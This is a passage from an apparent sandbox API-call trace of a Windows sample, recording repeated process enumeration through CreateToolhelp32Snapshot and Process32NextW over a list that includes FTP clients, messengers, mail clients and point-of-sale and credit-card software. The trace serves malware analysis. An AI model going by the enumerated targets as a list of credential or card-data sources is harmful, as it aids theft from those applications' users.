hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0097.711] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary-fluid-heating.exe")) returned 1 [0097.711] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="copefinancesringtones.exe")) returned 1 [0097.723] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="recommend hold florists.exe")) returned 1 [0097.724] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0097.725] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0097.726] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0097.726] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0097.727] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0097.728] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0097.730] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0097.731] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0097.731] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0097.732] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0097.733] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0097.734] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0097.736] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0097.737] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0097.738] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0097.739] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0097.740] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0097.741] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0097.742] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0097.743] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0097.744] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0097.745] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0097.746] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0097.747] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0097.748] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0097.749] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0097.751] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0097.752] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0097.753] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0097.753] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0097.754] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0097.755] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0097.756] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0097.757] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0097.758] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0097.796] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0097.802] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0097.811] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0097.816] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0097.821] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0097.835] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0097.837] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0097.838] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearts_walker_poet.exe")) returned 1 [0097.839] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lb_community.exe")) returned 1 [0097.840] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hispanic.exe")) returned 1 [0097.841] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0097.842] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.843] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.843] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0097.844] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.845] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0097.846] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0097.847] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0097.848] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.848] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.849] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x137c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.850] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0097.851] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0097.852] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0097.852] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0097.854] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.854] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.855] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0097.856] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0097.857] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0097.857] CloseHandle (hObject=0x31c) returned 1 [0097.858] Sleep (dwMilliseconds=0x1f4) [0098.465] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x33c [0098.477] Process32FirstW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0098.478] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0098.479] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0098.479] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0098.480] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0098.481] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0098.481] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0098.482] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0098.483] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0098.484] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.484] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0098.485] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, 